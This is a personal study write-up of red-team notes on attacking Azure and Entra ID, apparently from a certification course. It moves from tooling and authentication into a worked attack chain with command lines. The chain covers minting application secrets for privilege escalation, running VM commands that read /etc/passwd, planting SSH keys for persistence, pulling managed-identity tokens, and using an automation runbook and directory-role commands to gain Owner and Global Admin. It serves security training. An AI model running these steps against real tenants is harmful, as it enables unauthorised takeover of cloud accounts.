First of All
Before Thinking of Attacking Azure
- Start with John Savill - AZ-900 Prep Youtube Playlist to understand the Azure Fundamentals
- Read articles on AAD Internals and Hausec
Ok, now u can start to look
- My post: Intro to Cloud
- This Post: Get Familiar with Azure Pentesting
- Hacktricks Content about Azure
Important Clarification
it’s confusing but here we go
As Housec well said in his POST.
Think of Azure AD as the Authentication part of Azure and Office 365. If someone says only Azure, they are talking mostly about Resources
AzureAD == EntraID == Authentication / Identification
Azure == Resources / Subscriptions
AzureAD != Azure
You may ask: Why it’s important to differentiate?
- Its important because their Access and Permissions are separated!
- In Azure terms: Permission is a Role, and their access control is Role-Based (RBAC)
- Lets say you have an Access to something in AzureAD, it does not give you Access with the same Role in Azure! (This goes both ways!)
- These Roles define what you can and cannot do with certain objects
- But again, their permission is Separated.
I think that’s why they changed from AzureAD to EntraID
Other thing - Tools
Because of that, It makes the tools a bit confusing too.
Some tools can access only the Resource side and others only the EntraID side
For example:
- az cli = Can manage Azure resources
- Az PowerShell module (Replaced the AzureRM and Azure module) = Can manage both
- AzureAD PowerShell module = Can be used for EntraID and o365 (but its Available only Until june 2025)
- MSGraph Module - is an API wrapper for MSGraph API (it replaces AzureAD) - The usability is the same - EntraID and o365 Services
I said it was confusing lol. Anyway, lets go for the Notes
Introduction
Portals
- Azure Resource Manager Portal: portal.azure.com
- O365 / M365 Admin Center: admin.microsoft.com
- O365 / M365 User Portal: office.com
Credentials
- User + Password = Long Term Access
- Service Principal (App ID + Password or Certificate) = Long Term Access
- Access Token (Account ID + Access Token) = Short Term Access
CLI Tools
- AZ (Cross Platform)
- Az PowerShell
- Azure-AD PowerShell
- MsOnline PowerShell
- MSGraph Powershell
Authentication Methods in Azure and Azure AD
Tool/Method | Description | Command/Code Example |
---|---|---|
Azure CLI | ||
Interactive Login | Login interactively using web browser | az login |
Service Principal | Login using a service principal | az login --service-principal --username <app-id> --password <password-or-certificate> --tenant <tenant> |
Managed Identity | Login using a managed identity | az login --identity |
Device Code Login | Login using a device code | az login --use-device-code |
Azure PowerShell | ||
Interactive Login | Login interactively using web browser | Connect-AzAccount |
Service Principal | Login using a service principal | powershell $secPassword = ConvertTo-SecureString "your-password" -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential ("app-id", $secPassword) Connect-AzAccount -ServicePrincipal -Credential $creds -TenantId "tenant-id" |
Managed Identity | Login using a managed identity | Connect-AzAccount -Identity |
Device Code Login | Login using a device code | Connect-AzAccount -UseDeviceAuthentication |
Azure AD | ||
Interactive Login | Login interactively using web browser | Connect-AzureAD |
Client Credentials | Login using client credentials | powershell $tenantId = "your-tenant-id" $clientId = "your-client-id" $clientSecret = "your-client-secret" $body = @{ grant_type = "client_credentials" scope = "https://graph.microsoft.com/.default" client_id = $clientId client_secret = $clientSecret } $response = Invoke-RestMethod -Method Post -Uri "https://login.microsoftonline.com/$tenantId/oauth2/v2.0/token" -ContentType "application/x-www-form-urlencoded" -Body $body $token = $response.access_token # Use the token to make authenticated requests to Microsoft Graph $headers = @{ Authorization = "Bearer $token" } $graphApiUrl = "https://graph.microsoft.com/v1.0/me" $user = Invoke-RestMethod -Uri $graphApiUrl -Headers $headers $user |
Managed Identity | Login using a managed identity | powershell $response = Invoke-RestMethod -Method Get -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://graph.microsoft.com" -Headers @{Metadata="true"} $token = $response.access_token # Use the token to make authenticated requests to Microsoft Graph $headers = @{ Authorization = "Bearer $token" } $graphApiUrl = "https://graph.microsoft.com/v1.0/me" $user = Invoke-RestMethod -Uri $graphApiUrl -Headers $headers $user |
API Connections
- Azure-AD > portal.azure.com > Azure AD = API graph.microsoft.net - [in the future Connect-MgGraph]
- AZ CLI and Az PowerShell > portal.azure.com > ARM = API management.azure.com
- REST API > M365 = API graph.microsoft.com
Enum
Azure Active Directory (Azure AD) is Microsoft enterprise cloud-based identity and access management (IAM) solution
Azure AD is the backbone of the o365 system, and it can sync with on-premise AD and provide authentication to other cloud-based systems via OAuth
Azure AD
- Users
- Groups
- Devices
- App Registration
- Enterprise App (Service Principal)
- Roles (Used to manage objects)
Azure Resource Manager (ARM)
- Its the native platform for infrastructure as code (IaC) in Azure
- Provides Infrastructure as a Service (IaaS), Platform as a service (PaaS) and Software as a Service (SaaS)
- Azure ARM manage access control by RBAC
Red Team Operations
Objectives
- Global admin
- Owner permission on Azure subscriptions
- Exfiltration Critical data / Information
- Ransomware activities simulation
- Crypto mining simulation
- High value targets office ccount access
Starting Recon
Public available sources
- DNS Records
- Sub-Domains mapped to azure
- Leaked Programmatic Credentials [Service Principal - AppID & Secret / Certificate ]
- Compromised Credential [Dark web]
- Employee Information [Email, Designation ]
Use AAD OSINT to get info
Use MicroBurst to enum subdomains, blob storage
Found credential? Try to access AAD and ARM
- AAD can be accessed with AzureAD and MSGraph
- ARM can be accessed with Azure CLI
- If the credential can be logged, the user does not have access
in AzureAD
Get the objID:
Get-AzureADUser -SearchString “user”
To show permissions of the user:
Get-AzureADUserMembership -ObjectID <objID> | ConvertTo-Json
Next STEP? Look for Applications!
Get-AzureADApplication
Get-AzureADApplicationOwner -ObjectId <objID>
What sort of permissions the user have on the App?
$app = Get-AzureADApplication -ObjectID <objID>
$app.RequiredResourceAccess | ConvertTo-Json -Depth 3
# result would be the permissions in Graph API
For User or SP - check Directory Role For App - check API permissions
API Permissions:
$sp = Get-AzureADServicePrincipal -All $true | Where-Object {$_.AppId -eq ‘<Resource appID>’}
$sp.AppRoles | Where-Object {$_.Id -eq ‘<Id from ResourceAccess>’}
In this case we have Role Management Permission, which allow us to escalate privileges by creating credential to the Directory Role
Get the Secret :
New-AzureADApplicationPasswordCredential -ObjectID <objID of the Application>
Get the Tenant ID:
Authenticate with the NEW Crendential:
az login --service-principal -u <App ID> -p <secret generated> -t <tenant ID>
Now we have access to the subscription, it means not only to the Azure-AD as before, but also for the ARM. That is why we could login with AZ CLI without problems
You are logged with new credential? Check the permissions!
Now we can check with AZ CLI:
az role assignment list
az role assignment list --assignee “Application ID = same that we use in the -u of az login”
az role assignment list --assignee “Application ID = same that we use in the -u of az login” -All
In this case, the user has VM-RunCommand access to a VM. We can use that for lateral movement
List VMs:
az vm list
az vm list-ip-addresses --resource-group <RESOURCE GROUP> --name <VM NAME>
Execute Command:
az vm run run-command invoke --resource-group <RESOURCE GROUP> -n <VM name> --comand-id RunShellScript --scripts “id && hostname && whoami && cat /etc/passwd”
Lets add Persistence!
Generate a SSH-Key in your machine:
ssh-keygen.exe
then copy the .pub to the target machine:
az vm run-command invoke --resource-group <> -n <> --comand-id RunShellScript --scripts “echo ‘ssh-rsa-key ...’ >> /home/user/.ssh/authorized_keys”
Access the VM via SSH:
ssh -i <private key> user@ip
Inside the target VM? What to do?
- You can grab the token!
To do that u can install the AZ CLI, other tool, call the API directly or retrieve from metadata endpoint
Install AZ CLI:
curl -L https://aka.ms/InstallAzureCLIDeb | sudo bash
az account list
If there is a managed identity attached to this account we can authenticate with:
az login --identity
In this case, its a SYSTEM IDENTITY
Grab the principalId with az vm list
Check the Role Asssignment for this Identity:
az role assignment list --assignee “<the principalID of the VM = which works as a object ID because its a System identity>” --all
We found that the Identity has Role: Contributor it can be checked in the RoleDefinitionName option
Contributor is like Editor in GCP. Except from Role Assignment it can do everything
Enumerate Automation Account - its a path to escalate to Owner:
az automation account list
Enumerate Identities:
az identity list
Grab the principalID of the identity and check the Role Assignment:
az role assignment list --assignee “<principalId>” --all
Perform Operation on Automation Account
List runbook:
az automation runbook list --automation-account-name “<name>” --resource-group “<RG>”
AutomationAccountPrivesc.ps1
# Exemple of runbook
# Enable appropriate RBAC permissions to the system identity of this automation account. Otherwise, the runbook will fail
try
{
Connect-AzAccount -Identity
}
catch {
throw $_.Exception
}
# Get all ARM resources from all resources groups
New-AzRoleAssignment -ObjectId “objID of your user” -RoleDefinitionName Owner -Scope “/subscriptions/<subscription ID>”
Now create a runbook and upload the powershell code to be executed
az automation runbook create --automation-account-name “...” --resource-grouop “...” --name “privesc” --type “Powershell” --location “East US”
az automation runbook replace-content --automation-account-name “...” --resource-group “...” --name “privesc” --content AutomationAccountPrivesc.ps1
az automation runbook publish --automation-account-name “...” --resource-group “...” --name “privesc”
az automation runbook show --automation-account-name “...” --resource-group “...” --name “privesc”
Invoke the runbook:
az automation runbook start --automation-account-name “...” --resource-group “...” --name “privesc”
After some time, check the role assignment of the modified user to see owner privilege added:
az role assignment list --assigne “objID of the user” --all
[NOTE] With Role Management Write, u can write your user to any group including GA
but for that… To authenticate on behalf of applications (SP) u need to generate a certificate in order to log using AzureAD utility
With this access u can simply add yourself as Global Admin with this command:
Get-AzureADDirectoryRole
Add-AzureADDirectoryRoleMember -ObjectID <objID of GA> -RefObjectId <objID of your user>
This is my notes of the Azure part of the Hybrid Multi-Cloud Red Team Specialist [CHMRTS] from CWL. Check their content.